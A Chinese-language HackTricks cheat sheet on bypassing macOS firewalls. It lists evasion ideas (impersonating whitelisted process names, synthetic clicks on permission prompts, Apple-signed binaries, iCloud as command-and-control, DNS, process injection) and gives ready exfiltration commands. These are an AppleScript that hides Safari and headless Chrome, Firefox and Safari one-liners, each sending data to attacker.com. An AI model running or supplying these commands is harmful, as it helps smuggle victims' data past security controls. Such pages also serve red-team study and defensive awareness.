macOS 绕过防火墙
Reading time: 4 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
发现的技术
以下技术在某些 macOS 防火墙应用中有效。
滥用白名单名称
- 例如使用
launchd
等知名 macOS 进程的名称来调用恶意软件
合成点击
- 如果防火墙要求用户授权,让恶意软件 点击允许
使用苹果签名的二进制文件
- 像
curl
,还有其他如whois
知名苹果域名
防火墙可能允许连接到知名的苹果域名,如 apple.com
或 icloud.com
。iCloud 可以用作 C2。
通用绕过
一些尝试绕过防火墙的想法
检查允许的流量
了解允许的流量将帮助您识别潜在的白名单域名或哪些应用程序被允许访问它们
bash
lsof -i TCP -sTCP:ESTABLISHED
滥用 DNS
DNS 解析是通过 mdnsreponder
签名应用程序完成的,该应用程序可能被允许联系 DNS 服务器。
通过浏览器应用程序
- oascript
applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
- 谷歌浏览器
bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
- 火狐浏览器
bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
- Safari
bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
通过进程注入
如果你可以将代码注入到一个被允许连接到任何服务器的进程中,你就可以绕过防火墙保护:
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。